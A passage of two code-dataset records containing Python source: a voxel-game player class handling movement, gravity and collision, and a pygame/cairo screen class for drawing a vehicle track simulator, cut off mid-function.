+{"seq_id":"52310580","text":"import math\n\nimport keyboard\nfrom OpenGL.GL import *\n\nfrom src.functions import roundPos\n\n\nclass Player:\n def __init__(self, bl, gl, pos=(0, 0, 0), rot=(0, 0)):\n self.pos, self.rot = list(pos), list(rot)\n self.speed = gl.parent.settings.playerMovingSpeed\n self.flyingSpeed = gl.parent.settings.playerFlyingSpeed\n self.flying = False\n self.gravity = gl.parent.settings.playerGravity\n self.jSpeed = gl.parent.settings.playerJumpSpeed\n self.tVel = 50\n self.blocks = bl\n self.dy = 0\n self.gl = gl\n self.swim = False\n\n def updatePlayer(self):\n glPushMatrix()\n glRotatef(self.rot[0], 1, 0, 0)\n glRotatef(self.rot[1], 0, 1, 0)\n glTranslatef(-self.pos[0],\n -self.pos[1],\n -self.pos[2])\n\n def jump(self):\n if not self.dy:\n self.dy = self.jSpeed * 0.9\n\n def updatePos(self, dt):\n DX, DY, DZ = 0, 0, 0\n if self.flying:\n s = dt * self.flyingSpeed\n else:\n s = dt * self.speed\n rotY = self.rot[1] / 180 * math.pi\n dx, dz = s * math.sin(rotY), s * math.cos(rotY)\n\n if keyboard.is_pressed(\"shift\"):\n DY -= s\n if keyboard.is_pressed(\"space\"):\n if not self.flying:\n if roundPos(self.pos) in self.gl.cubes.fluids:\n self.dy = self.gl.parent.settings.playerJumpSpeed / 2\n else:\n self.jump()\n else:\n DY += s\n if keyboard.is_pressed(\"w\"):\n DX += dx\n DZ -= dz\n if keyboard.is_pressed(\"ctrl\"):\n self.speed = self.gl.parent.settings.playerMovingSpeed + 0.5\n else:\n self.speed = self.gl.parent.settings.playerMovingSpeed / 1.5\n if keyboard.is_pressed(\"s\"):\n DX -= dx\n DZ += dz\n if keyboard.is_pressed(\"r\"):\n self.pos = self.gl.world.playerPos\n self.dy = 0\n return\n if keyboard.is_pressed(\"a\"):\n DX -= dz\n DZ -= dx\n if keyboard.is_pressed(\"d\"):\n DX += dz\n DZ += dx\n\n if dt < 0.2:\n dt /= 10\n DX /= 10\n DY /= 10\n DZ /= 10\n for i in range(10):\n self.move(dt, DX, DY, DZ)\n\n def move(self, dt, dx, dy, dz):\n if not self.flying:\n self.dy -= dt * self.gravity\n self.dy = max(self.dy, -self.tVel)\n dy += self.dy * dt\n\n if self.dy > 9.8:\n self.dy = 9.8\n\n x, y, z = self.pos\n self.pos = self.collide((x + dx, y + dy, z + dz))\n\n def collide(self, pos):\n if pos[1] < -80:\n self.dy = 0\n return self.gl.world.playerPos\n\n if self.flying:\n return pos\n\n p = list(pos)\n np = roundPos(pos)\n for face in ((-1, 0, 0), (1, 0, 0), (0, -1, 0), (0, 1, 0), (0, 0, -1), (0, 0, 1)):\n for i in (0, 1, 2):\n if not face[i]:\n continue\n d = (p[i] - np[i]) * face[i]\n pad = 0 if i == 1 and face[i] < 0 else 0.25\n if d < pad:\n continue\n for dy in (0, 1):\n op = list(np)\n op[1] -= dy\n op[i] += face[i]\n if tuple(op) in self.gl.cubes.collidable:\n p[i] -= (d - pad) * face[i]\n if face[1]:\n self.dy = 0\n break\n return tuple(p)\n\n def mouse_motion(self, dx, dy):\n dx /= 8\n dy /= 8\n self.rot[0] += dy\n self.rot[1] += dx\n if self.rot[0] > 90:\n self.rot[0] = 90\n elif self.rot[0] < -90:\n self.rot[0] = -90\n\n def get_sight_vector(self):\n rotX, rotY = -self.rot[0] / 180 * math.pi, self.rot[1] / 180 * math.pi\n dx, dz = math.sin(rotY), -math.cos(rotY)\n dy, m = math.sin(rotX), math.cos(rotX)\n return dx * m, dy, dz * m\n\n def update(self):\n self.updatePlayer()\n","sub_path":"src/game/Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"582238625","text":"from __future__ import print_function\n\nimport sys\nsys.path.insert(0, \"../../\")\n\nIS_VIRTUALENV = 1\n\nimport numpy as np\nimport math\n\nimport pygame\nimport pygame.gfxdraw\nif IS_VIRTUALENV:\n import cairocffi as cairo # for virtual env\nelse:\n import cairo\n\nimport matplotlib\nimport matplotlib.cm\n\nfrom PIL import Image\nfrom src.utils import *\nfrom src.get_rgb import *\n\n\nclass SimScreen(object):\n \"\"\"\n SCREEN FOR SIMULATOR (PYGAME + PYCAIRO)\n \"\"\"\n def __init__(self, sim_track, screen_mode=0, is_black=0, width_add=0, height_add=0):\n if screen_mode == 0:\n screen_alpha, screen_size = sim_track.screen_alpha_wide, sim_track.screen_size_wide\n else:\n screen_alpha, screen_size = sim_track.screen_alpha_narrow, sim_track.screen_size_narrow\n\n # Set screen settings\n self.screen_size = screen_size\n self.screen_size[0] = self.screen_size[0] + width_add\n self.screen_size[1] = self.screen_size[1] + height_add\n self.screen_alpha = screen_alpha\n self.screen_mode = screen_mode\n self.is_black = is_black\n\n # Set display\n pygame.init() # Initialize the game engine\n pygame.display.set_caption(\"TRACK-SIM\")\n self.pygame_screen = pygame.display.set_mode((self.screen_size[0], self.screen_size[1]), 0, 32)\n\n # Create raw surface data\n # data_surface_raw = np.empty(self.screen_size[0] * self.screen_size[1] * 4, dtype=np.int8)\n\n # Set surface (cairo)\n # stride = cairo.ImageSurface.format_stride_for_width(cairo.FORMAT_ARGB32, self.screen_size[0])\n # self.pycairo_surface = cairo.ImageSurface.create_for_data(data_surface_raw, cairo.FORMAT_ARGB32,\n # self.screen_size[0], self.screen_size[1], stride)\n\n self.pycairo_surface = cairo.ImageSurface(cairo.FORMAT_ARGB32, self.screen_size[0], self.screen_size[1])\n self.pycairo_surface.set_fallback_resolution(600, 600)\n\n # Set context (cairo)\n self.ctx = cairo.Context(self.pycairo_surface)\n\n # Pnts of range (screen)\n self.pnt_min, self.pnt_max = [], []\n\n # Pnts (track)\n self.pnts_poly_track, self.pnts_outer_border_track, self.pnts_inner_border_track = [], [], []\n self.pnts_goal = []\n\n # Pixel (track)\n self.pixel_poly_track, self.pixel_outer_border_track, self.pixel_inner_border_track = [], [], []\n\n # Pixel (vehicle)\n self.pixel_vehicle_others, self.pixel_vehicle_ego = [], []\n\n # Sub-screen (1)\n self.screen_size_sub = (screen_size[0]/3.0, screen_size[1]/3.0)\n self.screen_alpha_sub = 1.0\n self.pnt_min_sub, self.pnt_max_sub = [], []\n self.quadrant_number_sub = 2 # 1: upper-left, 2: upper-right, 3: lower-right, 4: lower-left\n\n # Sub-screen (2)\n self.screen_size_sub_2 = (screen_size[0] / 3.0, screen_size[1] / 3.0)\n self.screen_alpha_sub_2 = 1.0\n self.pnt_min_sub_2, self.pnt_max_sub_2 = [], []\n self.quadrant_number_sub_2 = 4 # 1: upper-left, 2: upper-right, 3: lower-right, 4: lower-left\n\n # Parameters w.r.t. pnts in track -----------------------------------------------------------------------------#\n # Set track-points\n self.set_pnts_track_init(sim_track.pnts_poly_track, sim_track.pnts_outer_border_track,\n sim_track.pnts_inner_border_track, sim_track.pnts_goal)\n\n # Set points range\n if screen_mode == 0:\n self.set_pnts_range(sim_track.pnt_min, sim_track.pnt_max)\n else:\n self.set_pnts_range_sub(sim_track.pnt_min, sim_track.pnt_max)\n\n # Set sub-screen\n if screen_mode == 1:\n self.set_screen_height_sub(screen_size[1] * sim_track.screen_sub_height_ratio)\n self.set_screen_alpha_sub()\n\n # Set display-clock -------------------------------------------------------------------------------------------#\n self.clock = pygame.time.Clock() # Used to manage how fast the screen updates\n self.clock_rate = 60\n\n # SET PARAMETERS --------------------------------------------------------------------------------------------------#\n def set_screen_size(self, screen_size):\n \"\"\" Sets screen size.\n :param screen_size: (tuple) screen size (dim = 2)\n \"\"\"\n self.screen_size = screen_size\n\n def set_screen_alpha(self, screen_alpha):\n \"\"\" Sets screen alpha.\n :param screen_alpha: screen ratio\n \"\"\"\n self.screen_alpha = screen_alpha\n\n def set_pnts_range(self, pnt_min, pnt_max):\n \"\"\" Sets raange.\n :param pnt_min, pnt_max: point (dim = 2)\n \"\"\"\n self.pnt_min = pnt_min\n self.pnt_max = pnt_max\n\n def set_pnts_range_wrt_mean(self, pnt_mean):\n \"\"\" Sets range w.r.t. mean.\n :param pnt_mean: point (dim = 2)\n \"\"\"\n screen_size_tmp = np.array(self.screen_size)\n pnt_range = screen_size_tmp / self.screen_alpha\n self.pnt_min = pnt_mean - pnt_range / 2.0\n self.pnt_max = pnt_mean + pnt_range / 2.0\n\n def set_pnts_track_init(self, pnts_poly_track, pnts_outer_border_track, pnts_inner_border_track, pnts_goal):\n \"\"\" Sets rest of track-points. \"\"\"\n self.pnts_poly_track = pnts_poly_track\n self.pnts_outer_border_track = pnts_outer_border_track\n self.pnts_inner_border_track = pnts_inner_border_track\n self.pnts_goal = pnts_goal\n\n # UTILS -----------------------------------------------------------------------------------------------------------#\n def convert2pixel(self, pnts):\n \"\"\" Converts points from Euclidean space to pixel space.\n :param pnts: points (dim = N x 2)\n \"\"\"\n pnts = make_numpy_array(pnts, keep_1dim=False)\n num_pnts = pnts.shape[0]\n pnts_conv = np.zeros((num_pnts, 2), dtype=np.float64)\n\n pnts_conv[:, 0] = pnts[:, 0] - np.repeat(self.pnt_min[0], num_pnts, axis=0)\n pnts_conv[:, 1] = np.repeat(self.pnt_max[1], num_pnts, axis=0) - pnts[:, 1]\n\n pnts_conv = pnts_conv * self.screen_alpha\n # pnts_conv = np.round(pnts_conv, 0)\n\n return pnts_conv\n\n def update_pixel_track(self):\n \"\"\" Updates track points to pixel space. \"\"\"\n self.pixel_poly_track = self.update_pixel_track_sub(self.pnts_poly_track)\n self.pixel_outer_border_track = self.update_pixel_track_sub(self.pnts_outer_border_track)\n self.pixel_inner_border_track = self.update_pixel_track_sub(self.pnts_inner_border_track)\n\n def update_pixel_track_sub(self, pnts_track):\n \"\"\" Updates (sub) track pixels. \"\"\"\n pixel_track = []\n num_lane_seg = 0 # number of lane-segment\n for nidx_seg in range(0, len(pnts_track)):\n seg_sel = pnts_track[nidx_seg]\n\n pixel_seg = []\n for nidx_lane in range(0, len(seg_sel)):\n num_lane_seg = num_lane_seg + 1\n pnts_tmp = seg_sel[nidx_lane]\n pnts_conv_tmp = self.convert2pixel(pnts_tmp)\n pixel_seg.append(pnts_conv_tmp)\n\n pixel_track.append(pixel_seg)\n return pixel_track\n\n def snapCoords(self, x, y):\n # (xd, yd) = self.ctx.user_to_device(x, y)\n # out = (round(xd) + 0.5, round(yd) + 0.5)\n out = (x, y)\n return out\n\n def close(self):\n \"\"\" Closes pygame-window. \"\"\"\n pygame.display.quit()\n\n def save_image(self, filename2save):\n \"\"\" Saves image. \"\"\"\n # pygame.image.save(self.pygame_screen, filename2save)\n self.pycairo_surface.write_to_png(filename2save)\n\n # DRAW (BASIC) ----------------------------------------------------------------------------------------------------#\n def bgra_surf_to_rgba_string(self):\n \"\"\" Converts memoryview object to byte-array. \"\"\"\n data_tmp = self.pycairo_surface.get_data()\n\n if IS_VIRTUALENV == 0:\n data_tmp = data_tmp.tobytes() # Unable for virtualenv\n\n # Use PIL to get img\n img = Image.frombuffer('RGBA', (self.pycairo_surface.get_width(), self.pycairo_surface.get_height()), data_tmp,\n 'raw', 'BGRA', 0, 1)\n\n return img.tobytes('raw', 'RGBA', 0, 1)\n\n def draw_background(self, color_name):\n \"\"\" Draws background with specific color.\n :param color_name: color-name (string)\n \"\"\"\n hcolor = get_rgb(color_name)\n\n self.ctx.move_to(0, 0)\n self.ctx.line_to(self.screen_size[0], 0)\n self.ctx.line_to(self.screen_size[0], self.screen_size[1])\n self.ctx.line_to(0, self.screen_size[1])\n self.ctx.line_to(0, 0)\n self.ctx.set_line_width(1)\n self.ctx.set_source_rgb(hcolor[0], hcolor[1], hcolor[2])\n self.ctx.fill()\n\n def draw_pnt(self, pnt, radius, hcolor, is_fill=True, op=1.0, sub_num=0):\n \"\"\" Draws point.\n :param pnt: point (dim = 1 x 2)\n :param radius: radius (float)\n :param hcolor: color (tuple)\n :param is_fill: filled circle (boolean)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n pnt = make_numpy_array(pnt, keep_1dim=True)\n pnt = pnt[0:2]\n pnt = np.reshape(pnt, (1, 2))\n\n # Convert to pixel space\n if sub_num == 0:\n pnt_sel_conv = self.convert2pixel(pnt)\n else:\n pnt_sel_conv = self.convert2pixel_sub(pnt, sub_num)\n\n pnt_sel_conv = self.snapCoords(pnt_sel_conv[0, 0], pnt_sel_conv[0, 1])\n self.ctx.arc(pnt_sel_conv[0], pnt_sel_conv[1], radius, 0, 2 * math.pi)\n self.ctx.set_source_rgba(hcolor[0], hcolor[1], hcolor[2], op)\n if is_fill:\n self.ctx.fill()\n else:\n self.ctx.stroke()\n\n def draw_pnts(self, pnts, radius, hcolor, is_fill=True, op=1.0, sub_num=0):\n \"\"\" Draw points.\n :param pnts: points (dim = N x 2)\n :param radius: radius (float)\n :param hcolor: color (tuple)\n :param is_fill: filled circle (boolean)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n pnts = make_numpy_array(pnts, keep_1dim=False)\n num_in = pnts.shape[0]\n\n for nidx_d in range(0, num_in):\n pnt_sel = pnts[nidx_d, :]\n pnt_sel = np.reshape(pnt_sel, (1, 2))\n self.draw_pnt(pnt_sel, radius, hcolor, is_fill, op, sub_num=sub_num)\n\n def draw_pnts_cmap(self, pnts, radius, is_fill=True, op=1.0, sub_num=0):\n \"\"\" Draw points w.r.t. colormap.\n :param pnts: points (dim = N x 2)\n :param radius: radius (float)\n :param is_fill: filled circle (boolean)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n num_in = pnts.shape[0]\n cmap = matplotlib.cm.get_cmap(\"rainbow\")\n\n for nidx_d in range(0, num_in):\n pnt_sel = pnts[nidx_d, 0:2]\n pnt_sel = np.reshape(pnt_sel, (1, 2))\n cmap_sel = cmap(nidx_d/num_in)\n self.draw_pnt(pnt_sel, radius, cmap_sel[0:3], is_fill, op, sub_num=sub_num)\n\n def draw_pnts_list(self, pnts_list, hcolor, radius, is_fill=True, op=1.0, sub_num=0):\n \"\"\" Draws points-list.\n :param pnts_list: list of points (dim = N x 2)\n :param hcolor: rgb color (tuple)\n :param radius: radius (float)\n :param is_fill: filled circle (boolean)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n for nidx_d in range(0, len(pnts_list)):\n pnts_sel = pnts_list[nidx_d]\n self.draw_pnts(pnts_sel[:, 0:2], radius, hcolor, is_fill, op, sub_num=sub_num)\n\n def draw_box(self, x, y, length, width, hlw, hcolor, sub_num=0):\n \"\"\" Draws box-points.\n :param x: position x (float)\n :param y: position y (float)\n :param length: length (float)\n :param width: width (float)\n :param hlw: linewidth (float)\n :param hcolor: rgb color (tuple)\n :param sub_num: sub-plot number (int)\n \"\"\"\n box_tmp = get_box_pnts(x, y, 0.0, length, width)\n box_tmp_0 = box_tmp[0, :]\n box_tmp = np.concatenate((box_tmp, box_tmp_0.reshape(1, -1)), axis=0)\n self.draw_traj(box_tmp[:, 0:2], hlw, hcolor, sub_num=sub_num)\n\n # DRAW (MAIN) -----------------------------------------------------------------------------------------------------#\n def draw_track(self, is_black=0):\n \"\"\" Draws track \"\"\"\n if is_black == 1:\n hcolor_track = get_rgb(\"Dark Gray\")\n hcolor_outer_line = get_rgb(\"White\")\n hcolor_inner_line = get_rgb(\"White Smoke\")\n else:\n hcolor_track = get_rgb(\"Gray\")\n hcolor_outer_line = get_rgb(\"Very Dark Gray\")\n hcolor_inner_line = get_rgb(\"White Smoke\")\n\n if self.screen_mode == 0:\n linewidth_outer, linewidth_inner = 3, 1.25\n elif self.screen_mode == 1:\n linewidth_outer, linewidth_inner = 4, 1.5\n else:\n linewidth_outer, linewidth_inner = 2, 1\n\n self.update_pixel_track()\n\n # Plot track (polygon)\n for nidx_seg in range(0, len(self.pixel_poly_track)):\n pixel_poly_seg = self.pixel_poly_track[nidx_seg]\n\n # Plot lane-segment\n for nidx_lane in range(0, len(pixel_poly_seg)):\n idx_lane = len(pixel_poly_seg) - nidx_lane - 1\n # Pnts on lane-segment\n pixel_poly_lane = pixel_poly_seg[idx_lane]\n\n for nidx_pnt in range(0, pixel_poly_lane.shape[0]):\n pixel_tmp = pixel_poly_lane[nidx_pnt, :]\n pixel_tmp = self.snapCoords(pixel_tmp[0], pixel_tmp[1])\n if nidx_pnt == 0:\n self.ctx.move_to(pixel_tmp[0], pixel_tmp[1])\n else:\n self.ctx.line_to(pixel_tmp[0], pixel_tmp[1])\n\n pnt_0_tmp = pixel_poly_lane[0, :]\n pnt_0_tmp = self.snapCoords(pnt_0_tmp[0], pnt_0_tmp[1])\n self.ctx.line_to(pnt_0_tmp[0], pnt_0_tmp[1])\n\n # Plot (cairo)\n self.ctx.set_line_join(cairo.LINE_JOIN_ROUND)\n self.ctx.set_source_rgb(hcolor_track[0], hcolor_track[1], hcolor_track[2])\n self.ctx.fill_preserve()\n # self.ctx.set_source_rgb(0, 0, 0)\n # self.ctx.set_line_width(linewidth_outer)\n self.ctx.stroke()\n\n # Plot track (outer)\n for nidx_seg in range(0, len(self.pixel_outer_border_track)):\n pixel_outer_seg = self.pixel_outer_border_track[nidx_seg]\n for nidx_lane in range(0, len(pixel_outer_seg)):\n pixel_outer_lane = pixel_outer_seg[nidx_lane]\n\n # for nidx_pnt in range(0, pixel_outer_lane.shape[0]):\n # pixel_tmp = pixel_outer_lane[nidx_pnt, :]\n # pixel_tmp = self.snapCoords(pixel_tmp[0], pixel_tmp[1])\n # if nidx_pnt == 0:\n # self.ctx.move_to(pixel_tmp[0], pixel_tmp[1])\n # else:\n # self.ctx.line_to(pixel_tmp[0], pixel_tmp[1])\n\n len_pixel_tmp = pixel_outer_lane.shape[0]\n idx_tmp_cur = 0\n pixel_tmp = pixel_outer_lane[idx_tmp_cur, :]\n pixel_tmp = self.snapCoords(pixel_tmp[0], pixel_tmp[1])\n self.ctx.move_to(pixel_tmp[0], pixel_tmp[1])\n while idx_tmp_cur < (len_pixel_tmp - 3):\n pixel_tmp1 = pixel_outer_lane[idx_tmp_cur + 1, :]\n pixel_tmp2 = pixel_outer_lane[idx_tmp_cur + 2, :]\n pixel_tmp3 = pixel_outer_lane[idx_tmp_cur + 3, :]\n pixel_tmp1 = self.snapCoords(pixel_tmp1[0], pixel_tmp1[1])\n pixel_tmp2 = self.snapCoords(pixel_tmp2[0], pixel_tmp2[1])\n pixel_tmp3 = self.snapCoords(pixel_tmp3[0], pixel_tmp3[1])\n self.ctx.curve_to(pixel_tmp1[0], pixel_tmp1[1], pixel_tmp2[0], pixel_tmp2[1], pixel_tmp3[0],\n pixel_tmp3[1])\n idx_tmp_cur = idx_tmp_cur + 3\n\n if idx_tmp_cur < (len_pixel_tmp - 1):\n pixel_tmp1 = pixel_outer_lane[idx_tmp_cur + 1, :]\n if idx_tmp_cur < (len_pixel_tmp - 2):\n pixel_tmp2 = pixel_outer_lane[idx_tmp_cur + 2, :]\n else:\n pixel_tmp2 = pixel_outer_lane[len_pixel_tmp - 1, :]\n\n if idx_tmp_cur < (len_pixel_tmp - 3):\n pixel_tmp3 = pixel_outer_lane[idx_tmp_cur + 3, :]\n else:\n pixel_tmp3 = pixel_outer_lane[len_pixel_tmp - 1, :]\n\n pixel_tmp1 = self.snapCoords(pixel_tmp1[0], pixel_tmp1[1])\n pixel_tmp2 = self.snapCoords(pixel_tmp2[0], pixel_tmp2[1])\n pixel_tmp3 = self.snapCoords(pixel_tmp3[0], pixel_tmp3[1])\n\n self.ctx.curve_to(pixel_tmp1[0], pixel_tmp1[1], pixel_tmp2[0], pixel_tmp2[1], pixel_tmp3[0],\n pixel_tmp3[1])\n\n # Plot (cairo)\n self.ctx.set_line_width(linewidth_outer)\n self.ctx.set_source_rgb(hcolor_outer_line[0], hcolor_outer_line[1], hcolor_outer_line[2])\n self.ctx.stroke()\n\n # Plot track (inner)\n for nidx_seg in range(0, len(self.pixel_inner_border_track)):\n pixel_inner_seg = self.pixel_inner_border_track[nidx_seg]\n for nidx_lane in range(0, len(pixel_inner_seg)):\n pixel_inner_lane = pixel_inner_seg[nidx_lane]\n\n for nidx_pnt in range(0, pixel_inner_lane.shape[0], 2):\n pixel_cur_tmp = pixel_inner_lane[nidx_pnt, :]\n pixel_cur_tmp = self.snapCoords(pixel_cur_tmp[0], pixel_cur_tmp[1])\n\n if (nidx_pnt + 1) <= (pixel_inner_lane.shape[0] - 1):\n pixel_next_tmp = pixel_inner_lane[nidx_pnt + 1, :]\n pixel_next_tmp = self.snapCoords(pixel_next_tmp[0], pixel_next_tmp[1])\n\n self.ctx.move_to(pixel_cur_tmp[0], pixel_cur_tmp[1])\n self.ctx.line_to(pixel_next_tmp[0], pixel_next_tmp[1])\n\n self.ctx.set_line_width(linewidth_inner)\n self.ctx.set_source_rgb(hcolor_inner_line[0], hcolor_inner_line[1], hcolor_inner_line[2])\n self.ctx.stroke()\n else:\n self.ctx.arc(pixel_cur_tmp[0], pixel_cur_tmp[1], 1, 0, 2 * math.pi)\n self.ctx.set_source_rgb(hcolor_inner_line[0], hcolor_inner_line[1], hcolor_inner_line[2])\n self.ctx.fill()\n\n def draw_traj(self, traj, hlw, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws trajectory.\n :param traj: trajectory (dim = N x 2)\n :param hlw: linewidth (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n # Convert to pixel space\n if sub_num == 0:\n traj_conv_tmp = self.convert2pixel(traj)\n else:\n traj_conv_tmp = self.convert2pixel_sub(traj, sub_num)\n\n # Plot (cairo)\n for nidx_pnt in range(0, traj_conv_tmp.shape[0]):\n pnt_tmp = traj_conv_tmp[nidx_pnt, :]\n pnt_tmp = self.snapCoords(pnt_tmp[0], pnt_tmp[1])\n if nidx_pnt == 0:\n self.ctx.move_to(pnt_tmp[0], pnt_tmp[1])\n else:\n self.ctx.line_to(pnt_tmp[0], pnt_tmp[1])\n\n self.ctx.set_line_width(hlw)\n self.ctx.set_source_rgba(hcolor[0], hcolor[1], hcolor[2], op)\n self.ctx.set_line_join(cairo.LINE_JOIN_ROUND)\n self.ctx.stroke()\n\n def draw_trajs(self, trajs, hlw, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws trajectories.\n :param trajs: list of trajectories (dim = N x 2)\n :param hlw: linewidth (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n for nidx_traj in range(0, len(trajs)):\n traj_sel = trajs[nidx_traj]\n self.draw_traj(traj_sel, hlw, hcolor, op, sub_num=sub_num)\n\n def draw_trajs_w_cost(self, trajs, costs, idx_invalid, cost_max, hlinewidth, hcolor_map=\"cool\", op=1.0,\n hcolor_reverse=False, sub_num=0):\n \"\"\" Draws trajectories w.r.t. cost.\n :param trajs: list of trajectories (dim = N x 2)\n :param costs: costs of trajectories (list)\n :param idx_invalid: invalid trajectory indexes (ndarray, list)\n :param cost_max: cost max (if 0, cost is scaled automatically) (float)\n :param hlinewidth: linewidth (float)\n :param hcolor_map: matplotlib-colormap name (string)\n :param op: opacity 0 ~ 1 (float)\n :param hcolor_reverse: matplotlib-colormap reverse (boolean)\n :param sub_num: sub-plot number (int)\n \"\"\"\n if len(trajs) > 0:\n num_traj = len(trajs)\n if len(costs) > 0:\n costs = make_numpy_array(costs, keep_1dim=True)\n\n idx_sorted_tmp = np.argsort(costs)\n idx_sorted_tmp = np.flip(idx_sorted_tmp, axis=0)\n trajs = [trajs[idx_tmp] for idx_tmp in idx_sorted_tmp]\n costs = costs[idx_sorted_tmp]\n else:\n costs = np.array((num_traj,), dtype=np.float32)\n\n if len(idx_invalid) > 0:\n idx_invalid = make_numpy_array(idx_invalid, keep_1dim=True)\n else:\n idx_invalid = np.array([])\n\n if len(idx_invalid) > 0:\n idx_valid = np.setdiff1d(np.arange(0, num_traj), idx_invalid)\n else:\n idx_valid = np.arange(0, num_traj)\n\n if len(idx_valid) > 0:\n cost_valid = costs[idx_valid]\n if cost_max == 0:\n min_cost_valid = np.amin(cost_valid)\n max_cost_valid = np.amax(cost_valid)\n if abs(max_cost_valid - min_cost_valid) < float(1e-4):\n max_cost_valid, min_cost_valid = 1.0, 0.0\n else:\n max_cost_valid, min_cost_valid = np.max(cost_valid), np.min(cost_valid)\n else:\n max_cost_valid, min_cost_valid = np.max(costs), np.min(costs)\n\n cmap = matplotlib.cm.get_cmap(hcolor_map)\n for nidx_traj in range(0, idx_valid.shape[0]): # Plot valid trajectories\n idx_sel = idx_valid[nidx_traj]\n traj_sel = trajs[idx_sel]\n\n cmap_ratio = (costs[idx_sel] - min_cost_valid) / (max_cost_valid - min_cost_valid)\n cmap_ratio = 1.0 - cmap_ratio if hcolor_reverse else cmap_ratio\n\n cmap_ratio = min(max(cmap_ratio, 0.0), 1.0)\n cmap_tmp = cmap(cmap_ratio)\n self.draw_traj(traj_sel[:, 0:2], hlinewidth, cmap_tmp, op, sub_num=sub_num)\n\n # for nidx_traj in range(0, idx_invalid.shape[0]): # Plot invalid trajectories\n # idx_sel = idx_invalid[nidx_traj]\n # traj_sel = traj_list[idx_sel]\n # self.draw_trajectory(traj_sel[:, 0:2], hlinewidth, get_rgb(\"Dark Slate Blue\"), op)\n\n def draw_traj_dashed(self, traj, hlw, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws dashed trajectory (sub).\n :param traj: trajectory (dim = N x 2)\n :param hlw: linewidth (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n # Convert to pixel space\n if sub_num == 0:\n traj_conv_tmp = self.convert2pixel(traj)\n else:\n traj_conv_tmp = self.convert2pixel_sub(traj, sub_num)\n\n # Plot (cairo)\n for nidx_pnt in range(0, traj_conv_tmp.shape[0], 1):\n pnt_tmp = traj_conv_tmp[nidx_pnt, :]\n pnt_tmp = self.snapCoords(pnt_tmp[0], pnt_tmp[1])\n if nidx_pnt == 0:\n self.ctx.move_to(pnt_tmp[0], pnt_tmp[1])\n else:\n self.ctx.line_to(pnt_tmp[0], pnt_tmp[1])\n\n if nidx_pnt % 2 == 0:\n self.ctx.set_line_width(hlw)\n # self.ctx.set_source_rgb(hcolor[0], hcolor[1], hcolor[2])\n self.ctx.set_source_rgba(hcolor[0], hcolor[1], hcolor[2], op)\n self.ctx.set_line_join(cairo.LINE_JOIN_ROUND)\n self.ctx.stroke()\n\n def draw_vehicle_fill_traj_cgad(self, traj, rx, ry, stepsize, hcolor1, hcolor2, op=1.0, sub_num=0):\n \"\"\" Draws vehicle fill trajectory with color gradient.\n :param traj: trajectory (dim = N x 3)\n :param rx: vehicle size (x) (float)\n :param ry: vehicle size (y) (float)\n :param stepsize: step-size (int)\n :param hcolor1: start rgb color (tuple)\n :param hcolor2: end rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n len_traj = traj.shape[0]\n len_color = math.floor((len_traj - 1) / (stepsize))\n cnt_color = 0\n for nidx_t in range(stepsize, len_traj, stepsize):\n pnt_sel = traj[nidx_t, :] # Point to draw\n\n # Set new color\n cnt_color += 1\n alpha = float(cnt_color / (len_color + 1.0))\n hcolor_sel = get_color_mix(alpha, hcolor1, hcolor2)\n\n if ~np.isnan(pnt_sel[0]):\n self.draw_target_vehicle_fill(pnt_sel[0], pnt_sel[1], pnt_sel[2], rx, ry, hcolor_sel, op=op,\n sub_num=sub_num)\n\n def draw_vehicle_fill_trajs_cgad(self, trajs, sizes, stepsize, hcolor1, hcolor2, op=1.0, sub_num=0):\n \"\"\" Draws vehicle fill trajectories with color gradient.\n :param trajs: list of trajectories (ndarray, dim = N x 3)\n :param sizes: list of sizes rx, ry (ndarray, dim = N x 2)\n :param stepsize: step-size (int)\n :param hlinewidth: linewidth (float)\n :param hcolor1: start rgb color (tuple)\n :param hcolor2: end rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n for nidx_traj in range(0, len(trajs)):\n traj_sel, size_sel = trajs[nidx_traj], sizes[nidx_traj, :]\n rx_sel, ry_sel = size_sel[0], size_sel[1]\n self.draw_vehicle_fill_traj_cgad(traj_sel, rx_sel, ry_sel, stepsize, hcolor1, hcolor2, op=op,\n sub_num=sub_num)\n\n def draw_vehicle_border_traj(self, traj, rx, ry, stepsize, hlinewidth, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws vehicle border trajectory.\n :param traj: trajectory (ndarray, dim = N x 3)\n :param rx: vehicle size (x) (float)\n :param ry: vehicle size (y) (float)\n :param stepsize: step-size (int)\n :param hlinewidth: linewidth (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n for nidx_t in range(stepsize, traj.shape[0], stepsize):\n pnt_sel = traj[nidx_t, :]\n\n if ~np.isnan(pnt_sel[0]):\n self.draw_target_vehicle_border(pnt_sel[0], pnt_sel[1], pnt_sel[2], rx, ry, hlinewidth, hcolor, op=op,\n sub_num=sub_num)\n\n def draw_vehicle_border_trajs(self, trajs, sizes, stepsize, hlinewidth, hcolor, op=1.0, sub_num=0):\n \"\"\" Draws vehicle border trajectories.\n :param trajs: list of trajectories (ndarray, dim = N x 3)\n :param sizes: list of sizes rx, ry (ndarray, dim = N x 2)\n :param stepsize: step-size (int)\n :param hlinewidth: linewidth (float)\n :param hcolor: rgb color (tuple)\n :param op: opacity 0 ~ 1 (float)\n :param sub_num: sub-plot number (int)\n \"\"\"\n for nidx_traj in range(0, len(trajs)):\n traj_sel = 